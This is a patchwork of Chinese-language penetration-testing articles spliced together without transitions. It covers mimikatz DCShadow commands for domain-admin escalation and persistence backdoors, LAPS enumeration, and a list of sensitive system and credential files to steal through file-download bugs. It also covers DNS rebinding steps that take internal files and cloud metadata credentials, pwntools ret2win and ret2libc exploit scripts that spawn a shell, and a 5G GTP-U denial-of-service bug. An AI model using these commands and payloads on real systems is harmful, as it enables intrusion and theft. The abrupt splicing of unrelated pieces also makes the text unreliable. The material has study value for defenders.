lsadump::dcshadow /object:CN=man03,CN=Users,DC=vvvv1,DC=com /attribute:primaryGroupID /value:512

  1. 执行后,第一个命令行窗口不要关闭,并新开一个域管理员权限的命令行窗口。在新的命令行窗口中执行以下命令强制触发域复制,将数据更改推送至合法的域控服务器。

lsadump::dcshadow /push

ne00nc5jxn012400.png

发现man03用户已经成为域管理员。

dw5w55atqlr12404.png

ca4hzpkflo012410.png

您可以通过具有以下最小权限的 DA 或用户推送更改:

在域对象中:

  • DS-Install-Replica(添加/删除域中的副本)
  • DS-Replication-Manage-Topology(管理复制拓扑)
  • DS-Replication-Synchronize(复制同步)

配置容器中 Sites 对象(及其子级):

  • CreateChild 和 DeleteChild

已注册为 DC 的计算机对象:

  • WriteProperty(而不是 Write)

目标对象:

  • WriteProperty(而不是 Write)

您可以使用 Set-DCShadowPermissions 命令将这些权限授予一个非特权用户(请注意,这将留下一些日志)。这比拥有 DA 权限更加限制性。

https://github.com/samratashok/nishang/blob/master/ActiveDirectory/Set-DCShadowPermissions.ps1

例如:

Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose

这意味着当用户名为 student1 的用户在机器 mcorp-student1 上登录时,他将具有对对象 root1user 的 DCShadow 权限。

创建后门

joxdx4fjma412415.png

lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519

lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519

First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519

(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl

Second, add to the ACE permissions to your user and push it using DCShadow

lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>

痕迹观察

为了检测这种恶意活动,您可以监控网络流量,并怀疑任何不是 DC 主机(在我们的情况下是 PC-W10$,其 IP 地址为 10.0.0.7)向 DC(在我们的情况下是 10.0.0.6 上的 DC-MANTVYDAS)发出 RCP 请求,如下所示。

ju2xh1pc3dh12420.png

对于日志也是同样的情况,如果您看到一个非 DC 主机导致 DC 记录一个 4929 事件(详细的目录服务复制),您可能想调查一下该系统上还发生了什么其他情况。

lt3jtee52nq12425.png

mimikatz 目前的 DCShadow 实现在短时间内创建一个新的 DC,并在推送完成后删除其相关对象,这种模式可能会触发警报,因为在 1-2 秒的时间范围内同时发生新 DC 的创建、相关对象的修改和删除看起来是异常的。事件 4662 可能有助于识别这一情况。

a0wtb4lw01f12429.png

LAPS

https://zhuanlan.zhihu.com/p/37853137

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/laps

https://www.geekby.site/2020/02/%E9%9A%90%E8%94%BD%E5%9F%9F%E5%90%8E%E9%97%A8/#laps

https://blog.51cto.com/rdsrv/2708914

LAPS(本地管理员密码管理解决方案)允许您管理域加入计算机上的本地管理员密码(密码是随机生成的、唯一的,并定期更改)。这些密码被集中存储在活动目录中,并通过访问控制列表(ACL)限制只有授权用户可以访问。密码在从客户端到服务器的传输过程中使用 Kerberos v5 和 AES 进行保护。

当使用 LAPS 时,域中的计算机对象中会出现两个新属性:

ms-mcs-AdmPwd 和 ms-mcs-AdmPwdExpirationTime。

这些属性包含明文的管理员密码和密码过期时间。因此,在域环境中,检查哪些用户可以读取这些属性可能是有意义的。

reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

dir "C:\Program Files\LAPS\CSE"

# Check if that folder exists and contains AdmPwd.dll

# Find GPOs that have "LAPS" or some other descriptive term in the name

Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)

Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname



转载自原文链接地址: https://forum.butian.net/share/3681

0x01 前言任意文件下載漏洞作為最常見的WEB漏洞之一,在平常的滲透測試中經常遇到,但是很多人卻並沒有深入去想該如何利用這種漏洞,導致忽略了一些細節的信息。

0x02傳統利用1) 下載配置文件連數據庫通過任意文件下載漏洞下載網站配置文件,利用數據庫配置信息遠程連接數據庫。

php:通過讀取當前頁面源碼反向查找數據庫配置文件

aspx:Web.config

java:WEB-INF/web.xml、WEB-INF/classes/applicationContext.xml 、application.yml、application.properties、conf/tomcat-users.xml

其它配置:php.ini、my.ini、MetaBase.xml、access.log

2) 下載操作系統敏感文件通過下載操作系統中的文件獲取敏感信息,不同操作系統中的敏感文件包括

Windows:

C:\Windows\win.ini

C:\Windows\System32\drivers\etc\hostsC:\ProgramData\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\SystemIndex.{%d}.gthr其中%d替換為1-500的數字,文件中保存大量應用對應的臨時文件路徑,可以洩露敏感信息,有時有奇效C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt其中Administrator可以替換為其它系統用戶名,文件中保存Powershell歷史執行命令記錄

Linux:

/etc/passwd

/etc/shadow

/etc/profile

/etc/hosts

/etc/issue

/etc/ssh/sshd_config

/root/.bash_history歷史命令

/root/.ssh/authorized_keys

ssh公鑰/root/.ssh/id_rsa

ssh私鑰/root/.mysql_history

/proc/net/arp

內網arp表信息

/proc/net/route

內網路由表信息

/proc/net/tcp

主機建立的tcp連接信息,類似於netstat

/proc/[PID]/cmdline

其中pid替換為進程號,返回當進程運行時的命令

/proc/[PID]/environ其中pid替換為進程號,返回當進程運行時的環境變量信息

/proc/self/loginuid當前用戶

/proc/sched_debug獲取當前進程信息0x03 進階利用1)SpringBoot環境下的任意文件利用SpringBoot一般來說是通過jar包來啟動服務,如圖3.1所示,所以通過任意文件下載漏洞最有利用價值的是下載到SpringBoot對應的jar包。

QQ截图20231225110711.png

這裡可以組合linux文件下載中的多個文件,構造一條SpringBoot任意文件下載利用鏈,如下所示。

【Step1】

從圖3.1可以看出SpringBoot一般是通過java命令來啟動的,所以可以通過java關鍵字來定位對應的pid進程號。

通過任意文件讀取/proc/sched_debug,獲取服務器中的進程信息。通過關鍵字java定位SpringBoot對應的進程,獲取進程號pid,如圖3.2所示。

QQ截图20231225110851.png

【Step2】

通過/proc/[PID]/cmdline和/proc/[PID]/environ獲取進程對應的信息,一般情況下通過這種方式可以拿到SpringBoot對應的jar包的絕對路徑,如圖3.3,圖3.4所示。其中cmdline可以獲取進程對應的包名,environ可以獲取對應的絕對路徑,組合之後可以得到jar包對應絕對路徑,如圖3.5所示。

QQ截图20231225110949.png

通過組合/proc/sched_debug和/proc/[PID]/environ可以滿足絕大部分場景下對目標進程信息的探索。

2)SpringMVC環境下的任意文件利用由於java程序並不能像PHP那樣通過讀當前文件來一步步下載整個程序的源碼做代碼審計,SpringMVC環境下一般的代碼處理邏輯都在controller類中,但是我們仍然可以通過任意文件下載漏洞來下載對應的源碼。

【Step1】

通過下載WEB-INF/web.xml文件,查看其中的servlet-class標籤,有針對性下載標籤對應的類名,如圖3.6所示。

QQ截图20231225111038.png【Step2】

基於拿到的類的全限定類名,下載對應的class文件。如圖3.6所示,拿到類的全限定類名是com.js.oa.jsflow.action.WorkFlowPdfServlet,則對應的class文件相對路徑為classes/com/js/oa/jsflow/action/WorkFlowPdfServlet.class,如圖3.7所示。

QQ截图20231225111111.png

除了web.xml中可以找到類的全限定類名,在任何一個.class文件中,均可以找到這種類似的全限定類名。通過這種方式遍歷可以較完整的拿到整個SpringMVC的源碼,對於其它tomcat servlet項目也是一樣的思路。

需要說明的是,並不是所有的tomcat項目的controller源碼都能在WEB-INF/classes/目錄下找到,還有部分系統會把邏輯代碼寫到jar包中並放在WEB-INF/lib/目錄下,如圖3.8所示,某系統在classes目錄下不存在任何class文件,所有的邏輯均在WEB-INF/*.jar包中。如果代碼邏輯在jar包中,就需要猜測jar包的完整名稱,這種情況下通常不容易通過黑盒方式下載到源代碼。

QQ截图20231225111145.png0x04 深度利用在上面的方式中,還是偏向於通過任意文件下載下載網站源代碼進行源碼分析,但是在某些框架中,可以通過源碼下載漏洞構造反序列化利用鏈,達到RCE的效果。

CodeIgniter框架是一個非常流行的php框架,在中小WEB應用中具有較大的使用量。舊版本的CodeIgniter默認情況下CodeIgniter的session保存在Cookie中,並且通過反序列的方式來加載。

我下載的CodeIgniter的源碼是以前下載的,可能和最新的代碼稍有出入。在system/libraries/Session.php文件中,如圖4.1所示。

QQ截图20231225111249.png

其中保證Cookie不被篡改的關鍵是通過hash_hmac方法計算Cookie最後40位的hash值,其中$this-encryption_key是CodeIngniter框架配置文件中的值,保存在application/config/config.php文件中,這個值沒有默認值,並且不能為空,如圖4.2所示。

QQ截图20231225111316.png

如果存在任意文件下載漏洞,下載對應的application/config/config.php文件,則可以獲取Cookie加密的key,這樣就可以把任意文件下載漏洞轉化為反序列化漏洞。

在CodeIgniter框架中,如果Cookie中包含了序列化的內容,如圖4.3所示,則代表可以通過任意文件讀取獲取加密key來構造反序列化過程,結合框架本身的反序列化利用鏈,則可能造成反序列化漏洞。

QQ截图20231225111349.png基於框架的Cookie反序列化漏洞在實際中非常普遍,其它還有很多框架也有類似的問題,Yii框架也有類似於CodeIgniter一樣的邏輯,在之前一篇關於通達OA的反序列化漏洞的文章https://mp.weixin.qq.com/s/nOQuqt_mO0glY-KALc1Xiw中,介紹過關於Yii硬編碼key導致的反序列化漏洞。同樣如果存在任意文件下載漏洞,則可以讀取對應的key構造反序列化利用鏈。

如果是aspx的目標網站,同樣可以通過任意文件下載,獲取Web.config中關於ViewState參數的加密密鑰,ViewState參數經過解密之後會進行反序列化操作,造成.net的反序列化漏洞,詳情可以參考文章

https://paper.seebug.org/1386/。0x05 總結在滲透測試的過程中,如果遇到任意文件下載漏洞,多數場景下都可以對任意文件下載漏洞進行深入利用。本文主要結合一些特定的目標場景,總結一些關於任意文件下載漏洞的利用思路,本文僅做學習研究,請勿進行非法的網絡攻擊活動。

來源:烽火台實驗室

本文介紹了在Chrome、Edge和Safari中實現可靠的DNS重綁定的新技術,並討論了繞過本地網絡限制的技術。通過分析慢緩存的根本原因,提出了新的解決技術。本文研究了利用DNS重綁定在Chrome、Edge和Safari中實現瞬間DNS重綁定的攻擊技術。

本文是關於DNS重新綁定係列文章中的第二篇。第一篇文章介紹了一個使用DNS重新綁定後攻擊的案例。在這篇文章中,我介紹了在IPv6可用時在Chrome, Edge和Safari中實現可靠的,瞬間DNS重新綁定的新技術,以及一種繞過本地網絡限制的技術,該技術適用於基於Chrome的瀏覽器的獲取API。

瀏覽器中的DNS重綁定傳統上被視為攻擊者通過誘騙受害者加載惡意網站來訪問內部網絡服務的一種方式,但隨著許多現代web應用程序現在在其部分功能上驅動無頭瀏覽器,它已成為攻擊web應用程序的有用工具。無頭瀏覽器,即Headless Browser,是一種沒有界面的瀏覽器。它擁有完整的瀏覽器內核,包括JavaScript 解析引擎、渲染引擎等。與普通瀏覽器最大的不同是,無頭瀏覽器執行過程中看不到運行的界面,但是我們依然可以用GUI 測試框架的截圖功能截取它執行中的頁面。在上一篇文章中,我介紹了一個使用可能是最簡單的重新綁定方法的例子。在這種情況下,我有很長的時間讓漏洞運行,但這在許多web應用程序中不太可能,需要更快的技術。

緩慢的緩存簡單的DNS重綁定技術依賴於對相同主機名的連續查找返回不同的DNS記錄。對於這些攻擊,所花費的最小時間是瀏覽器執行兩次連續DNS查找之間的時間。這有時可以通過刷新瀏覽器緩存來加快速度,生成大量DNS查找以填充可用的緩存空間,並導致舊條目在過期之前被清除,從而使瀏覽器更快地對相同的主機名執行第二次查找。

當它工作時,它仍然需要大約10秒的時間,而且通常這種技術不會起作用,因為中間緩存不能像瀏覽器的緩存那樣容易地被清除。例如,在測試期間,我發現在一個新創建的Ubuntu EC2實例上,由於系統解析的緩存,我只能每5分鐘為同一域獲得不同的響應。在VPN上,我看到DNS響應在默認解析器上至少緩存30分鐘。讓用戶將頁面打開這麼長時間以允許攻擊者實現DNS重新綁定漏洞,通常是一件很困難的事情,更不用說將無頭瀏覽器作為web應用程序的一部分驅動了。

為了加速漏洞利用,2010年Craig Heffner提出了通過在相同響應中回復同一域的多個A記錄來執行DNS重新綁定的想法,Gerald Doussot和Roger Meyer在2019年的singularity 中使用了這種技術。 Singularity是一個開放源碼容器平台,旨在簡化、快速和安全。 Singularity 是針對EPC 和HPC 工作負載進行優化的,允許不受信任的用戶以可信的方式運行不受信任的容器。

返回的兩條記錄是攻擊者控制的公共服務器的IP地址和目標服務器的(通常是私有的)IP地址。

只有當瀏覽器試圖首先與公共服務器通信並加載攻擊者的惡意頁面時,攻擊才會起作用。然後,攻擊者的web服務器開始阻止來自受害者瀏覽器的流量,導致瀏覽器退回到將所有請求發送到目標服務器。在這種情況下,攻擊者頁面中的JavaScript將能夠向同一來源下的目標IP地址發送請求。

1.png

這種技術確實繞過了緩存問題,因為瀏覽器只需要執行一次DNS查找,儘管在我的測試期間,所有主要瀏覽器都會始終嘗試在公共IP地址之前與私有IP地址通信,這意味著這些技術不起作用。雖然我不相信這種行為是為了防止DNS重新綁定,但它可以有效的阻止這種技術。

這種新行為促使我研究新的技術,可以用來在Safari和基於chrome的瀏覽器中實現瞬間DNS重新綁定。這些技術的關鍵是找到新的方法,使瀏覽器最初使用公共IP,然後在加載網站時切換到使用私有IP。打開Wireshark,我注意到在現代瀏覽器中加載網站時,會同時發送A和AAAA查詢。我開始調查這種行為是否可以用來可靠地執行DNS重新綁定。

攻擊Safari:延遲DNS響應當你在通過IPv6訪問互聯網的主機上加載Safari網頁時,分別為IPv4和IPv6地址發送A和AAAA DNS查詢。當返回多個IP地址時,Safari將優先考慮私有IP地址而不是公共IP地址。

當A或AAAA響應延遲時,Safari中允許快速DNS重新綁定的有趣行為會發生。在這種情況下,Safari不會等待所有DNS響應,而是在接收到第一個DNS響應後立即發送HTTP請求。當收到延遲的DNS響應時,此響應中的IP地址將被添加到IP地址池中,Safari可以在將來請求該域時使用該IP地址池。

這意味著,如果第一個DNS響應是針對公共IP地址的,而延遲的DNS響應是針對私有IP地址的,Safari將向公共IP地址發送第一個請求,直到接收到延遲的DNS響應,此時它將開始向私有IP地址發送請求。

2.png

這提供了一種在Safari中使用自定義DNS服務器實現DNS重新綁定的簡單方法,該服務器可處理*.r.inded.es的查詢:

1.加載目標瀏覽器http://safari.r.intrud.es,觸發safari.r.intrud.es的A和AAAA查找。

2.讓DNS服務器立即返回AAAA記錄,其中包含互聯網上攻擊者控制的web服務器的IPv6地址。暫時不要返回A響應。

3.一旦收到AAAA響應,Safari將向攻擊者的web服務器發出第一個請求。從攻擊者的web服務器返回一個帶有JavaScript的頁面來重複請求http://safari.r.intrud.es/secret.txt。

4.從DNS服務器發送包含本地網絡上目標服務器的IP地址的A響應。

5.Safari現在將對http://safari.r.intrud.es/secret.txt的請求發送到本地網絡上的目標服務器。從攻擊者的服務器加載的頁面可以讀取這些請求的響應,而不會違反同源策略。

為了實現這一點,我編寫了一個小型DNS服務器,可以使用命令行參數延遲DNS響應。在實踐中,我發現將A響應延遲100毫秒幾乎總是足夠的,儘管可以使用200毫秒或更長時間的延遲來使該技術更加可靠。可以在這裡https://github.com/intruder-io/dns-delay-server找到這個服務器以及設置它的說明。

我用來利用它的PHP腳本會將用戶重定向到r.introd.es的隨機子域,以避免中間緩存干擾利用。它還將JavaScript直接包含在頁面中,以避免另一個資源負載。你可以在這裡找到使用的代碼。

該腳本在操作中的視頻請點此,從本地web服務器檢索文件的內容:

3.jpg

我在iOS上的Safari和Brave上進行了測試,發現同樣的技術也可以用於訪問內部網絡上的服務。

攻擊Chrome:使用AAAA優先級Chrome將優先加載本地網絡上的頁面,而不是互聯網上的頁面,但在可用的情況下,它會優先加載IPv6而不是IPv4上的頁面。所以首要任務是:

1.本地IPv6(最高優先級);

2.公共IPv6;

3.當地IPv4;

4.公共IPv4(最低優先級);

這裡的關鍵部分是Chrome會優先考慮公共IPv6地址而不是私有IPv4地址。此外,當Chrome知道一個域的多個IP地址時,一旦服務器重置連接,它就會嘗試不同的IP地址。

4.png

這給出了一個針對Chrome的快速DNS重綁定計劃:

1.加載http://chrome.r.intrud.es,這將觸發A和AAAA查找chrome.r.intrud.es。

2.讓DNS服務器返回指向本地網絡上目標web服務器的A記錄和指向公共互聯網上攻擊者控制的web服務器的AAAA記錄。

3.Chrome將優先考慮IPv6地址,並從攻擊者控制的web服務器發出第一個加載頁面的請求,該服務器返回JavaScript以重複向http://chrome.r.intrud.es/secret.txt發出請求。

4.關閉攻擊者控制的服務器,以便重置所有連接。 Chrome現在將把所有請求發送到本地網絡上的目標服務器。

5.讓加載的頁面向http://chrome.r.intrud.es/secret.txt發出請求。可以在不違反同源策略的情況下讀取對這些請求的響應。

這個計劃幾乎成功了。從互聯網加載的頁面上的JavaScript試圖向本地網絡上的目標發出請求,但這些請求被阻止,並在控制台中顯示以下錯誤:

Accesstofetchat'http://chrome.r.intrud.es/secret.txt'fromorigin'http://chrome.r.intrud.es'hasbeenblockedbyCORSpolicy:Therequestclientisnotasecurecontextandtheresourceisinmore-privateaddressspace`local`.出現此錯誤是因為Chrome部分實現了私有網絡訪問(PNA)https://wicg.github.io/private-network-access/規範中描述的保護。

繞過PNAPrivate Network Access(以前稱為CORS-RFC1918 )限制了網站向私有網絡上的服務器發送請求的能力。根據規範,此類請求只允許來自安全上下文。另外,該規範擴展了跨域資源共享(CORS)協議,因此網站現在必須在允許發送任意請求之前,必須顯式請求私有網絡上服務器的許可。

私有網絡是指目標服務器的IP地址比從其獲取請求服務器的IP地址更私有的請求。例如,從公共網站(https://example.com)向私有網站(http://router.local)的請求,或從私有網站向localhost 的請求。

PNA保護阻止通過普通HTTP從公共互聯網加載的頁面向私有網絡發出請求。在Chrome中,這些保護是為fetch請求實現的,但還沒有為iframe實現。不完整的實現以及DNS重新綁定允許繞過對獲取請求的PNA限制。

我們可以重複利用到上面的步驟4,其中公共web服務器已經關閉,所有對http://chrome.r.intrud.es的請求現在都被定向到本地網絡上的目標服務器。加載的首頁不能向本地網絡發出請求,因為它是通過HTTP從公共互聯網加載的,但是我們可以在iFrame中加載http://chrome.r.intrud.es。這個iFrame中的頁面將從目標web服務器加載。由於此服務器位於本地網絡上,因此允許在iFrame中加載的頁面向本地網絡發出請求。

iFrame中的頁面也與頂部頁面處於相同的起源,這使得頂部頁面可以完全控制框架頁面的DOM。這包括注入腳本,使獲取請求進入框架頁面。這些腳本可以用來訪問目標web服務器並洩露數據,就像如果PNA根本沒有實現的話,它們可以從首頁獲取數據一樣。

6.png

所以,把這些放在一起,我們最終得到了一個完整的步驟:

1.加載http://chrome.r.intrud.es,這將觸發A和AAAA查找chrome.r. imports .es。

2.讓DNS服務器返回一條A記錄,指向本地網絡中的目標web服務器,並返回一條AAAA記錄,指向公網上攻擊者控制的web服務器。

3.Chrome將首先請求從攻擊者的web服務器加載頂部頁面,該服務器返回一個頁面以執行以下步驟。

4.關閉攻擊者控制的服務器,以便重置所有連接嘗試。 5.Chrome現在將把所有請求發送到本地網絡上的目標服務器。

6.從首頁,將一個腳本注入框架頁面以請求http://chrome.r.intrud.es/secret.txt並將響應發送到攻擊者的web服務器。

這可以在Chrome中實現瞬間DNS重新綁定。

7.jpg

為了幫助實現這個漏洞,我編寫了一個小型web服務器,當它接收到/block請求時將停止。你可以在這裡找到運行它的源代碼和說明。

當攻擊自動瀏覽器時,你通常想要在頁面中包含一個iFrame,這需要一些時間來加載。這將阻止瀏覽器認為頁面已完全加載,直到iFrame已加載,並確保漏洞利用腳本有足夠的時間運行。下面的演示顯示,當gowitness被用來從啟用了IPv6的EC2上截取惡意網站的截圖時,這個漏洞被用來從AWS元數據服務中提取憑證:

8.jpg

或者對於更可能在web應用程序中發現的場景,使用無頭Chromium將網頁轉換為PDF:

9.jpg

這種繞過Chrome的PNA限制的行為通過他們的問題跟踪器報告給了Chrome團隊。他們確定這不是安全問題,因為PNA的限制仍在實施過程中。

總結DNS重新綁定是攻擊web應用程序的一個武器。在本系列的第一篇文章中,我試圖展示如何在不太複雜的情況下實現針對web應用程序的重新綁定漏洞。在這篇文章中,我提供了一些工具和技術來構建可靠的漏洞攻擊驅動自動瀏覽器的web應用程序,即使它們只加載頁面很短的時間。

二進制代碼利用是發現和利用計算機程序中的漏洞以修改或乾擾其預期行為的一種方法。這些漏洞可能導致身份驗證繞過和信息洩漏,或者還可能導致遠程代碼執行情形。很大一部分二進制代碼利用發生在堆棧(stack)上,有時候發生在堆(heap)上,甚至發生在內核空間上。堆棧是存儲由函數創建的臨時變量的內存區域。相比之下,堆則是可以動態分配的內存區域。

下面介紹的所有技術都依賴用戶輸入和程序的潛在崩潰或分段錯誤——緩衝區溢出。當進程試圖用超出預期的過多數據填充一塊內存區域時,就會出現這種損壞。有鑑於此,就有可能覆蓋內存,並控制下一個指令點/函數。

接下來,我們將描述堆棧利用過程中一些最常用的技術。

ret2win我們可以將ret2win技術理解為對二進制代碼中存在的特定調用«win() function»的簡單重定向。實現這一目標的主要步驟如下:

• 找到目標函數/調用,以重定向執行流«win() function»。

• 通過覆蓋堆棧上的返回地址(比如EIP)來調用它。

下一段代碼介紹如何找到這類漏洞。在添加填充和對齊載荷之後,必須添加目標調用«win() function -0x080491c3»的偏移量,最後執行它。本文使用了用於二進制利用的CTF框架Pwntools(https://github.com/Gallopsled/pwntools),為學習過程提供便利。

frompwnimport*

p=process('./vuln_program')

payload=b'A'*52

payload+=p32(0x080491c3)#targetcall«win()function»

log.info(p.clean())

p.sendline(payload)

log.info(p.clean())有了這種技術,就可以在程序執行期間跳轉到所需的函數,從而繞過應用程序控制措施。

關於這個主題的更多細節可以在這裡找到:https://corruptedprotocol.medium.com/rop-emporium-ret2win-x86-64-44a1cacb546。

ret2libcret2libc是一種技術,其中重定向流基於到libc調用的面向返回的編程(ROP)鏈。這種方法對於繞過一些二進制代碼保護(比如NX即無執行)很重要,在Windows操作系統中又稱為數據執行預防(DEP)。

在二進制代碼被利用的操作系統上找到libc的內存區域之後,必須基於libc的基址計算一些函數(包括系統調用)的實際地址。系統調用執行作為參數傳遞的任何字符串。傳遞給系統調用的最佳字符串是“/bin/sh”,這顯然會彈出新的系統shell。

下面是表示這種探索的代碼片段。正如我們所見,libc基址高亮顯示為0x7ffff7de5000,並用於計算二進制內存區域內的system和/bin/sh字符串。

之後執行ROP鏈,它因二進制漏洞、目標操作系統、架構及其他外部變量而異。

frompwnimport*

p=process('./vuln-64')

libc_base=0x7ffff7de5000#libcbaseaddressneeded

system=libc_base+0x48e20#addressofsystemcall

binsh=libc_base+0x18a143#binshstringtopopashell

POP_RDI=0x4011cb

payload=b'A'*72#Thepadding

payload+=p64(POP_RDI)#gadget-poprdi;ret

payload+=p64(binsh)#pointertocommand:/bin/sh

payload+=p64(system)#Locationofsystem

payload+=p64(0x0)#returnpointer-notimportantoncewegettheshell

p.clean()

p.sendline(payload)

p.interactive()關於該技術的更多細節以及如何探索它,可以在這裡找到:https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc。

格式字符串格式字符串技術在每當將用戶輸入字符串作為命令來評估時都會發生。這種技術可用於執行代碼、洩漏堆棧,甚至導致分段錯誤情形。

比如說,格式字符串參數%x和%s定義了格式函數的轉換類型。針對諸如此類的輸入,可能會洩露內存部分信息,這種方法還可以與上述的ret2lic一起使用。

下表給出了經常用於這種攻擊中的一些格式函數。

1.png

看看下一段C代碼,print函數易受攻擊,因為默認情況下參數函數(%p和%s等)並未指定。因此,用戶可以在輸入中指定它,從而充分利用這個二進制利用場景。

#include

voidmain(intargc,char**argv)

{

//Thislineisvulnerable,noparameterspecified(%p,%s,etc)

printf(argv[1]);

}在使用一堆%p執行程序後,堆棧地址將被洩漏,並且可以輕鬆找到執行ret2lic方法的lib基址。

./example'HelloWorld%p%p%p%p%p%p'

=output:HelloWorld000E133E000E133E0057F000CCCCCCCCCCCCCCCCCCCCCCCC關於該技術的更多細節可以在這裡找到:https://owasp.org/www-community/attacks/Format_string_attack。

流行的二進制代碼利用技術二進制代碼利用是滲透測試界利用內存不安全程序的最先進的攻擊之一。由於二進制代碼本身、保護機制以及它如何與不同的操作系統和多種架構進行交互具有復雜性,學習起來可能令人望而生畏。

5G開啟了傳統無線連接無法實現的前所未有的應用,幫助企業加速數字化轉型、降低運營成本,並最大限度地提高生產力,以獲得最佳投資回報。為了實現目標,5G依賴關鍵的服務類別:大規模機器類型通信(mMTC)、增強型移動寬帶(eMBB)和超可靠低延遲通信(uRLLC)。

隨著商用頻譜不斷增加,專用5G網絡的使用率和普及率也隨之提高。製造、國防、港口、能源、物流和採礦等行業只是這些專用網絡的早期採用者之一,特別是對於那些迅速依賴物聯網以實現生產系統和供應鏈數字化的公司。與公共電網不同,專用5G中的蜂窩基礎設施設備可能歸用戶企業、系統集成商或運營商擁有和運營。然而,鑑於針對使用5G開發各種技術的研究和探索越來越多,網絡犯罪分子也在考慮利用種種威脅和風險,企圖通過這種新的通信標準,入侵用戶和組織的系統和網絡。本文探討了普通用戶設備如何在5G網絡基礎設施和用例中被濫用。

5G拓撲結構在端到端5G蜂窩系統中,用戶設備(又名UE,比如移動電話和物聯網設備)通過無線電波連接到基站,基站則通過有線IP網絡連接到5G核心。

從功能上來說,5G核心可以分為兩個平面:控制平面和用戶平面。在網絡中,控制平面承載信號,並根據流量從一個端點到另一個端點的交換方式為流量傳輸提供方便。同時,用戶平面負責連接和處理通過無線局域網(RAN)傳輸的用戶數據。

基站發送與設備連接相關的控制信號,並通過NGAP(下一代應用協議)與控制平面建立連接。來自設備的用戶流量使用GTP-U(GPRS隧道協議用戶平面)發送到用戶平面。數據流量從用戶平面路由傳輸到外部網絡。

1.jpg

圖1. 基本的5G網絡基礎設施

UE子網與基礎設施網絡相互分離、隔離,不允許用戶設備訪問基礎設施組件。這種隔離有助於保護5G核心免受來自用戶設備的CT(蜂窩技術)協議攻擊。

有沒有辦法繞過這種隔離、攻擊5G核心呢?接下來的章節將詳細介紹網絡犯罪分子如何可以濫用5G基礎設施的組件、尤其是GTP-U。

GTP-UGTP-U是一種隧道協議,存在於基站和5G用戶平面之間,使用端口2152。下面是用GTP-U封裝的用戶數據分組結構。

2.jpg

圖2. GTP-U數據分組

GTP-U隧道分組是通過將報頭附加到原始數據分組而形成的。添加的報頭由UDP(用戶數據報協議)傳輸報頭和GTP-U特有的報頭組成。 GTP-U報頭則由以下字段組成:

• 標誌:這包含版本及其他信息(比如表明是否存在可選的報頭字段等信息)。

• 消息類型:對於承載用戶數據的GTP-U分組而言,消息類型為0xFF。

• 長度:這是隧道端點標識符(TEID)字段之後的所有內容的長度(以字節為單位)。

• TEID:隧道的獨特值,用於將隧道映射到用戶設備。

GTP-U報頭由GTP-U節點(基站和用戶平面功能即UPF)添加。然而,用戶無法在設備的用戶界面上看到報頭。因此,用戶設備無法操縱報頭字段。

雖然GTP-U是一種標準的隧道技術,但其使用主要局限於基站和UPF之間或UPF和UPF之間的CT環境。假設在理想場景下,基站和UPF之間的回程經過加密,受到防火牆保護,並且不允許外部訪問。下面詳述這種理想場景:GSMA建議在基站和UPF之間使用IP安全(IPsec)。在這種場景下,到達GTP-U節點的分組只來自授權的設備。如果這些設備遵循規範並合理實施,它們不會發送異常分組。此外,可靠的系統應該有強大的完整性檢查機制,以處理接收到的異常信息,特別是明顯的異常信息,比如無效的長度、類型和擴展等。

然而在現實中,場景可能往往不同,需要完全不同的分析。運營商不願意在N3接口上部署IPsec,因為它耗用大量CPU資源,降低了用戶流量的吞吐量。此外,由於用戶數據被認為在應用層受到保護(借助額外協議,比如TLS即傳輸層安全),一些人認為IP安全是多餘的。有人可能認為,只要基站和分組-核心符合具體要求,就不會出現異常情況。此外,有人可能還認為,對於所有可靠的系統而言,都需要進行完整性檢查,以發現任何明顯的異常。然而之前的研究表明,全球各地的許多N3節點(比如UPF)暴露在互聯網上,儘管不應該如此。這將在以下的章節中介紹。

3.png

圖3. 因配置錯誤或缺少防火牆而暴露的UPF接口,截圖來自Shodan,並用於之前發表的研究結果

我們討論了兩個可以使用CVE-2021-45462利用GTP-U的概念。在Open5GS這種面向5G核心和進化分組核心(EPC)的C語言開源實現中,從用戶設備發送零長度、類型=255的GTP-U分組導致了UPF遭到拒絕服務(DoS)。這是CVE-2021-45462,分組核心中的這個安全漏洞可以通過從用戶設備製作的異常GTP-U分組,並通過在GTP-U中發送該異常GTP-U分組,導致UPF(5G中)或服務網關用戶平面功能(4G/LTE中的SGW-U)崩潰。鑑於該漏洞影響基礎設施的關鍵組件,並且無法輕易解決,該漏洞的嚴重性等級為中到高。

GTP-U節點:基站和UPFGTP-U節點是對GTP-U分組進行封裝和解封裝的端點。基站是用戶設備端上的GTP-U節點。基站從UE接收用戶數據時,將數據轉換成IP分組,並在GTP-U隧道中封裝。

UPF是5G核心端的GTP-U節點。當UPF接收到來自基站的GTP-U分組時,UPF對外部的GTP-U報頭進行解封裝,取出內部分組。 UPF不檢查內部分組的內容,直接查詢路由表(也由UPF維護)中的目的地IP地址,然後繼續發送分組。

GTP-U中的GTP-U如果用戶設備製作了一個異常的GTP-U分組,並將其發送到分組核心,會怎麼樣?

4.png

圖4. 一個精心特製的異常GTP-U分組

5.jpg

圖5. 從用戶設備發送異常的GTP-U分組

